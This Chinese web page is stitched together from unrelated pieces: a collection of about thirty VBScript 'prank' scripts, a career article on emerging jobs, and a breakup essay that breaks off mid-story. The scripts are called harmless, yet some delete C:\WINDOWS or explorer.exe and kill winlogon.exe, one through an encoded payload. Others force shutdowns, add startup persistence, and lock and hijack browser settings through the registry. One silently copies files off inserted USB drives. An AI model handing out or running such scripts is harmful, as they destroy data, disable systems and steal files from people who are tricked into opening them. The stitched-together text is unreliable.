108种整人的方法(知道手机号怎么整贱人小三)

三十二个vbs整蛊代码，快去发给你的好朋友

恶作剧的vbs代码，这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处，最多关机重启一下就可以了，将下面的任意一段代码保存为*.vbs即可

操作方法：把代码保存为*.VBS运行即可经本人亲自测试 不会出大问题的，一般都是利用无限循环，不是死循环，可以通过任务管理器中结束WSCRIPT或cscript进程即可。复制代码代码如下:

do msgbox "hi" loop

无限制的用英文报数复制代码代码如下:

Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop

复制代码代码如下:

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重启wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if

复制代码代码如下:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner

这个没什么，不过加密了，大家可以解密试试

复制代码代码如下:

if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if

复制代码代码如下:

Set ws = CreateObject("Wscript.Shell") ws "cmd.exe /c call calc.exe",0

下面的是删除explorer.exe，导致桌面没有显示，不过它事先帮你备份了，为同目录下的explorer.Data复制代码代码如下:

set ws=CreateObject("Wscript.Shell") ws "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws "cmd.exe /c del /q /f %windir%\explorer.exe

复制代码代码如下:

for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 ws "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws"shutdown -a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么大本事能做出病毒来！",57 ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop 关机

复制代码代码如下:

set sh=wscript.createobject("wscript.shell") sh"shutdown -s -t 332" 关闭当前打开的多个窗口

复制代码代码如下:

dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next

复制代码代码如下:

dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"&vbcrlf&""&vbcrlf&"下面以我为例 不同可以修改"&vbcrlf&""&Chr(10)&"格式为：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍：""" auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了！"&""""&",48,"&""""&"芮洲提示："&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true) auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了" auto.WriteLine "时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"

复制代码代码如下:

dim a a=10 Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 10",,true Set s = CreateObject("sapi.spvoice") while a s.Speak a a = a - 1 wscript.sleep 100 wend CreateObject("SAPI.SpVoice").Speak "Bomb?"

复制代码代码如下:

do createobject("wscript.shell") chr(34) & wscriptriptname & chr(34) loop

复制代码代码如下:

msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 2000 dim a do a=inputbox("输入abc，否则关机。") if a="abc" then msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！" exit do else msgbox"乖点，输入abc" end if loop

复制代码代码如下:

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox "乖" loop msgbox "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell "cmd.exe /c shutdown -a",0 ,true msgbox "自己骂自己的不要脸~~~~~~",4, " "

复制代码代码如下:

msgbox"你是不是很无聊啊？",4 msgbox"我来陪你玩会儿" msgbox"做好玩儿的准备吧！" do msgbox"你无聊吗?",vbinformation,"你无聊吗？" loop

复制代码代码如下:

on error resume next set wr=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") set f = wr.getfile(wscriptriptfullname) q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") if not f="Win32.vbs" then wrpyfile f,q&"\Win32.vbs",true ws"shutdown -p",vbhide 这个太可恶了 只好重启

复制代码代码如下:

set ws=createobject("wscript.shell") do ws.sendkeys "{f5}" loop

复制代码代码如下:

Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "QUESTION.vbS" Key_data = "C:\windows\system32\QUESTION.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) filepy "c:\windows\system32\" Set fso = CreateObject("Scripting.FileSystemObject") f = fso.DeleteFile(WScript.ScriptName) Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true

复制代码代码如下:

set wmp=createobject("wmplayer.ocx") set cd=wmp.cdromcollection.item(0) do cd.eject loop

复制代码代码如下:

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹，快喊"" ",0 ,true dim a do while(a <> "爹") a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "儿子" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"

复制代码代码如下:

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA "cmd.exe /c shutdown -r -t 120 -c ""说你爱我，不说你爱我就两分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我爱你") a = inputbox ("说你爱我,就不关机，快撒，说 ""你爱我"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，何必这么费劲" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真过瘾

复制代码代码如下:

i = MsgBox("由于你灌水太水需要爆破电脑。"&_ vbCrLf&"确定爆破吗？",vbOKCancel,_ "爆破电脑系统！！！！！") if i = 1 then CreateObject("SAPI.SpVoice").Speak "bone" end if

复制代码代码如下:

On Error Resume Next Dim i i=0 Set fso=CreateObject("Scripting.FileSystemObject") IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:") ext=InputBox("请输入要的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt") MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗") fso.CreateFolder(MyFolder) Do WScript.Sleep 1000 If fso.FolderExists(IP & "\") Then Exit Do Loop Scan(IP & "\") Sub Scan(Folder_) On Error Resume Next Set Folder_=fso.GetFolder(Folder_) Set Files=Folder_.Files For Each File in Files ext_=fso.GetExtensionName(File) ext_=Lcase(ext_) ext=Lcase(ext) If ext_=ext Then i=i+1 fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name) End If Next Set SubFolders=Folder_.SubFolders For Each SubFolder In SubFolders Scan(Subfolder) Next End Sub

复制代码代码如下:

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0 ,true dim a do while(a <> "不重,不重,我就不重!") a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......" msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!" msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~" msgbox chr(13) + chr(13) + chr(13) + "88~" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell "cmd.exe /c shutdown -a",0 ,true msgbox " " + chr(14) + "~" Dim a Set a = CreateObject("Scripting.FileSystemObject") a.DeleteFolder ("C:\WINDOWS") 不是死循环了，是让你死机了，重启吧

复制代码代码如下:

msgbox"让你见识一下啥叫狠毒！" do set ws=createobjecet("wscript.shell") ws"explorer.exe" ws"cmd.exe" loop

复制代码代码如下:

on error resume next msgbox"即将格式化！请做好准备！",vbyesno msgbox"准备好后点yes！"，vbyesno msgbox"sorry，忘说了，点no也行！" msgbox"我对不起你啊！呜呜呜555哈哈哈哈！" msgbox"靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。" msgbox"被人研究！" msgbox"就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！" msgbox"你咋还笑？！是时候惩罚你了！" do set ws=createobjecet("wscript.shell") ws"explorer.exe" ws"cmd.exe" ws"cmd.exe /c shutdown -s -t 7200",,ture loop

发个特整人的东西复制代码代码如下:

set s.createobject("wscript.shell") lsfile=wscriptriptfullname '获得自己的名称 do '死循环 s lsfile '自己运行自己 s "notepad" '运行记事本 loop '几秒就死机，哈

来个绿色的，无毒无害的：复制代码代码如下:

dim a set a=createobject("sapi.spvoice") a.speak "ha ha ha ha hahahahahahaha"

注：ha ha ha... 可以改为几句粗话！！输入中文后英文要取决于你的电脑会讲英文还是中文！

复制代码代码如下:

dim a a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作") if a=vbyes then do msgbox("从前有座山") msgbox("山上有座庙") msgbox("庙里有两个和尚") msgbox("大和尚给小和尚讲故事说") a=1 loop while a=1 end if

将默认页，搜索页设置百度复制代码代码如下:

if msgbox("这是被封印的东西",65,"警告！！！") = 1 then if msgbox("请不要一意孤行",65,"警告！！！") =1 then if msgbox("不要再按了！！",65,"警告！！！") =1 then if msgbox("气死我了.....",65,"警告！！！") =1 then if msgbox("既然这样...那么这个东西就归你了！",65,"祝你愉快！886") =1 then msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快！886" msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了！！！！",65,"封印解除！！" on error resume next dim fso,wsh,myfile,ws,pp,fsoFolder set wsh=wscript.createobject("wscript.shell") set fso=wscript.createobject("scripting.filesystemobject") set myfile=fso.GetFile(wscriptriptfullname) wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu"

很久很久以前，好像是高考后的那个夏天，收到过朋友的一个恶作剧程序，程序名为“一篇感动人的文章.vbs”，当时什么都不懂，直接双击了，一直耿耿于怀。双击后弹出一个输入框“输入‘我是猪'，否则十五秒后关机。我还以为是搞笑的，什么都没有输入，就真的关机了，觉得很神奇。而现在能够自己写出代码了，却再也找不到以前的快乐。复制代码代码如下:

Option Explicit On Error Resume Next Dim answer Dim WshShell set WshShell = CreateObject("wscript.Shell") WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪'，否则10秒后关机~",0 Do While answer<>"我是猪" answer=InputBox("输入'我是猪'，否则10秒后关机~","哈哈哈",,7000,8000) Loop WshShell.Run "Shutdown /a",0 MsgBox "哈哈哈，好玩不?",,"哈哈哈"

打开记事本，把代码复制粘贴进去，保存为“一篇感动人的文章.vbs”，一个恶作剧程序就完成了，接下来做什么就超出本文范围了。

最后，小编想说：我是一名python开发工程师，

整理了一套最新的python系统学习教程，

想要这些资料的可以关注私信小编“01”即可（免费分享哦）希望能对你有所帮助

密室整人，给狗狗拍照……你眼里不务正业的人，月收入50万

你眼中稳定有保障的工作，其实淘汰率高得吓人，比如会计高达97.6%

现在的年轻人压力有多大呢？

曾经听过身边的一位朋友向我抱怨，说每天做着不喜欢的工作，简单又机械，和三观不合的同事尬聊，整天担心被领导骂，工资一点不涨，却总害怕一不小心就丢了工作，曾经的理想也早已淡忘，被生活折磨得遍体鳞伤。

工作岗位竞争压力越来越大，有的甚至要面对被时代淘汰的风险……

BBC之前公布了一组365种职业在未来的被淘汰率，引起一片哗然：

365种职业在未来的淘汰率，你眼中的稳定其实不堪一击

会计、银行职员、房地产经济人等，这些在大部分人眼中简单又稳定的工作，在将来可能会日渐消失于大众视野。

即使是淘汰率相对较低的行业，如果不能保持高效率和高创造性，同样面临着巨大的风险。

传统行业充满危机，新兴行业却充满生机

传统行业存在着诸多危机，新兴职业如雨后春笋般出现，充满趣味性的工作内容，优厚的薪酬，使得越来越多的年轻人开始对它们动心。

充满生机的各种新兴职业，图片来源于美团等各大平台

在美团点评、智联招聘联合发布的《2019年生活服务业新职业人群报告》中,介绍了密室设计师、宠物摄影师、轰趴管家、电竞顾问等一大批新兴职业。

今天我们会向大家介绍几种新兴职业，帮助你找到人生的更多可能：

密室设计师(工资8k-30k)

综艺《明星大侦探》爆红，除了嘉宾们的风趣幽默，节目里的密室也吸引了很多人的兴趣与好奇心，精彩刺激，充满趣味性。

这些密室，都是由专业人员进行设计的。密室的故事、机关、建筑、运营各方面，都要做到精益求精，以实现服务的最优化。

其实早在几年前，密室设计师这个行业就已经出现了，但当时在国内过于小众，从业人数并不多，对从业者要求也比较全面。不仅要会写剧本，还要懂配乐、懂建筑、懂运营。

各种主题的密室逃脱游戏受到越来越多的年轻人喜欢

但如今随着从业人员的逐渐增多，密室设计师也开始出现专业分工化的趋势，即有的从业者负责写剧本，有的负责机关设计，有的负责后期运营，既减少了工作量，又提高了工作效率。

体验过密室的人都知道，每个密室体验过一次就很少有第二次，所以不断需要新的密室来扩充市场，这也决定了这个行业更新换代的速度快，需要设计师的反应快、灵感丰富、效率高。

设计师的基本工资在8k－30k之间，但并不固定，主要与项目有关。有的设计师做出一个爆款场景，就可以达到月收入50万。更有甚者，例如自己当老板的设计师，年收入可以达到上百万上千万。

密室设计师主要集中在一二线城市，队伍仍在不断扩大，也吸引了很多90后的目光。

宠物摄影师(工资8k-10k)

如今在城市里，养宠物是再普通不过的事情了，人们对宠物也往往是爱惜有加，把它当作孩子一般看待。会给它买美味的食物，好看的衣服，给它洗澡、剪毛……

宠物摄影师也越来越受到人们的喜欢

对于精心呵护养育出来的宠物，主人自然希望能把它最美好的样子记录下来。于是，宠物摄影师便应运而生。

顾名思义，宠物摄影师负责用镜头记录宠物的美好瞬间，为它们拍摄写真。

这个行业处于起步阶段，拥有不错的市场前景，但对从业人员要求较高。不仅需要熟练掌握摄影知识和技巧，还需要对宠物的特点、动作、沟通技巧都有一定程度的了解。宠物不同于人，它往往不会去刻意摆pose，这就需要摄影师去一步步引导，并擅于捕捉瞬间。

但与人像摄影、婚纱摄影等摄影师相比，行业要求还是相对较低的，不需要熟练掌握PS技巧，更多的是耐心和亲和力。如何说服宠物主人花钱为宠物专门拍一套写真，才是真正考验你的地方。

如果有喜欢宠物和摄影的小伙伴，不妨尝试一下。在前期没有什么知名度的情况下，收入并不是很好，可能需要其他收入来维持，会感到有些累。但在后期拥有了自己的团队，有了知名度以后，收入还是非常可观的。一二线城市的机会也会更多一些。

整理收纳师(5k－15k)

现在年轻人生活节奏快，经常需要出差。往往老板一声令下，就得快速整理收拾好东西出门。

单小时300-600的整理收纳师

出差结束，拖着满身疲惫的身子回到家里，只想躺在床上好好睡一觉或者打一局游戏，衣服日常用品随手一扔，房间里到处都是。

等到下次出差时，又开始后悔自己为什么没有提前好好整理房间。

其实，你只需要一个整理收纳师。

整理收纳师专门负责客户家中的空间规划、物品管理、客户收纳习惯养成等内容，简单一点来说，就是帮助客户整理房间。

听起来很容易，但它需要的不仅仅是体力，还有创造力、空间感，并熟悉各种收纳工具的用法。如何在狭小的空间内，按照客户的意愿，实现物品整理归纳的最优组合，如何对客户的房间进行\"断舍离\"，是每一个整理收纳师需要考虑的问题。

随着社会的发展，衍生出更多的新兴职业

在中国，这个行业还在起步阶段，现阶段收纳师的收费主要为一小时300-600元不等，与个人能力和知名度有一定的关系。

想要成为职业收纳师，需要经过从业前的专门培训，拿到收纳师资格证才可正式上岗，每年还有职业考评。想要从事这个行业，你还需要拥有前辈的引路和指导，只有拥有稳定的客户渠道，你的收入才会源源不断。对于生活能力较强，并对室内设计有所了解的小伙伴而言，是一个不错的选择。

新的职业意味着新的机会，但是行动+方向，才能让我们未来不迷茫

有时会听到身边的一些前辈抱怨，一会儿觉得公司待遇不好，一会儿觉得公司里的明争暗斗太严重，一会儿又觉得加班太严重，说实在待不下去，想辞职。

但是每次都只是说说而已，一味地在宣泄负能量，却从来不愿意去改变什么。

后来我问他，为什么不试着趁现在多学一门特长？说不定将来会有更好的机会。

也许你只是缺少一个契机，一个新的尝试的开始

然后他就找各种理由推脱，说试错成本太高，他现在没有这个精力等等。

如果你现在不满足于现状，其实可以尝试去改变。改变很难，但意义非凡。每一个小的举动，都可能成为改变未来的一根撬棍。

那我们如何从现在开始，寻找那根有可能改变未来的撬棍呢？

1. 提高搜索信息的能力，让自己有清晰的职业规划

很多小伙伴都说，我也想从事新的职业，给自己更多的可能，但是我根本就不知道有什么新的职业，自己能干什么，这就说明小伙伴搜索信息的能力有待提高。

其实我们有很多方式可以搜索到信息，只是大家没有意识而已，比如头条上就可以，打开头条，在头条搜索框输入新兴职业，你就能看到很多关于这方面的信息。

搜索更多的新兴职业，你可以尝试头条搜索

查看这些信息，然后找到你比较感兴趣的打开，再深入研究，分析这些新兴行业都是做什么的，怎么做，如何做，这就像打开了一个新世界大门的钥匙，只要我们开始了解，就有可能找到自己想尝试的职业。

当然，在你准备踏入这一行之前，你需要清楚和了解，这个行业未来发展的方向是怎样的，发展前景好不好，你的专业或特长是否与其相对应，你准备在这个行业工作多久？是准备做兼职还是全职？

你擅长哪些方面？是与物打交道还是与人打交道？喜欢安稳一点的还是富有挑战性的？

这些都是你需要想清楚的问题，当然这些都可以通过搜索，给我们提供更全面的信息。

我通过头条搜索数据看到，在美团、大众点评app购买密室消费的平均客单价为360元，最狂热的密室玩家一年玩转14个城市、165个密室主题，共花费了56000多元。

全国宠物服务线上消费金额最高的用户来自北京，过去一年共花费47,297元。

新的需求导致新的职业缺口

此外，汉服体验师这个职业也拥有强大的市场缺口。根据数据显示，汉服体验的平均客单价为108元，女生是主要消费群体，男性消费比例占17%。95后消费者占比最多达36%，00后新兴消费者占比达13%。

每一种新兴职业，都拥有着巨大的潜力和市场。有的行业门槛也并不高，对于小白也非常友好。只要能把握住机遇，月入过万并不是黄粱一梦。

所以大家一定要提高自己搜索信息的能力，用好自己手头的工具，有的时候信息并不难找，只不过我们用了最笨的方式。

2.向行业前辈寻求意见和建议

他山之石，可以攻玉。如果自己不知该如何选择，不妨求助身边从事这一行的朋友或者前辈，问问他们对于这个行业的看法。他们的建议可以更加客观和中肯，也能帮助你少踩很多坑。

向身边有同样经验的人请教

不要觉得羞于启齿或者过于自负，善于与他人合作，聆听他人的意见，是你走向成功第一步。

3.避免\"巴纳姆效应\"，不要用标签封住了你的无限可能

心理学上有个著名的\"巴纳姆效应\"，是指人很容易相信一个笼统的、整体化的人格描述，即使他并不是这种人，也就是我们所谓的\"贴标签\"。

\"学历低\"\"没特长\"\"性格不好\"等等标签，除了打击我们的自信心之外，也给我们逃避现实提供了一个非常好的借口。经典电影《阿甘正传》中，主人公阿甘从小就受尽嘲笑和冷眼，别人总用\"傻子\"\"笨蛋\"来称呼他，但他并未因此而沮丧。他一直努力，去过自己想要的生活，最终收获了爱情和事业的成功。

所以这些标签并不是真正的你。只有你自己才最清楚你的实力、你的目标、你的长处和劣势，你知道怎样才能更好地去到那个你想去的地方。

撕掉我们身上的标签，这不是本来的我们

有一部分年轻人受长辈们就业观念的影响，认为只有找到\"铁饭碗\"或者成为一个都市白领才算是真正的工作，其实并不然。

现在把爱好当职业的人比比皆是，并且有很多都取得了不错的成绩。例如今年大火电影《哪吒》的导演饺子，他对于电影和动漫很是痴迷，自然在这条路上走的也会比别人更加长久。

三百六十行，行行出状元。只有改变自己这种错误的思想观念，愿意去尝试新事物，你的人生才会有所突破，才能跳出那个舒适区。

就好像一个网友说的那样：

当你不知道自己的人生意义是什么的时候。

多走出自己的舒适区，

多去做一些曾经没做过、不敢做、逃避去做的事情，

尝试着建立更多的人际关系，

试着去全力完成一个过去被你屡次放弃的目标。

如果一个人伤害了你，最狠的报复，应该如此

作者/池鱼

原来是我错把路灯当作了月光。

一个女生如是说。让她感到痛彻心扉的，那些烂在深夜的话，比如她原本以为那些应该是独一份的月光，其实可以照在好多人身上。

于是，她开始不平衡了。

她不平衡的地方在哪里？她认为，自己待他这么好，心疼他，念着他，为他着想，巴不得把世上一切的好东西都统统放到他的面前，她应该感激，然后好好对待这段感情不是吗？

毕竟，她想要的结果是什么，他从来都明白。

但他没有这样做。

相反的是，他背叛了她，欺骗了她，他利用她的爱和善良，心安理得地享受着她的付出，他竟然从来都没有想过要和她走到最后。因为，她并不足以满足他的野心。

换一句更加扎心的话，在男生看来，自己的条件配得上更好的人。

得知这一切的时候，她明明白白听到自己心碎的声音。她完全没有想过，两年的时间，这个在她看来上进努力，踏实，三观也正的少年，其实内心庸俗不堪，只是这些想法，他从来没在她的面前表露过而已。他是一个把自己藏得很深的人。

终究还是意难平啊。

毕竟，突然被分手的那一刻，她听出了他话语里的决然，她和他吵，和他闹，问他为什么要这样做？男生只是一声不吭，面对她的任何情绪，他完全不接招，也不回复她的消息，就这样冷静的看着她一次次崩溃。最初，她还是舍不得，她对男生说，我再给你一个机会，如果你愿意重新选择的话。

男生有些悲伤地看着她，他明明什么也没说，却也好像把所有的话全部说尽。

他最后说：“对不起，都是我的错。你忘了我吧，以后你一定可以遇见一个比我更好更合适的人，其实我没你想得那么好，我很自私，很多事只为了自己着想。”

她无法做到心平气和一下子放下。

于是，在无数个情绪崩溃的晚上，她都会给男生发消息，一会儿骂他的冷漠，一会儿诉说自己的痴情，好像一个神经病一样。

而男生的话语，最后变成了这样：“我求求你，别闹了好吗？你究竟要怎样，才肯放过我？”

她听完一愣，是啊，自己要怎样呢？她完全不知道自己想要怎样，只是现在她很难受，她想不开而已。她一次次悄悄在夜里哭，眼泪打湿了枕头，她其实希望他能够安慰自己，能够说自己错了，甚至希望他回来，但他是主动走的，他不会回来。当他说分手的那一刻，其实和那边就开始谈着了。

那个女生的综合条件，比她优秀很多。

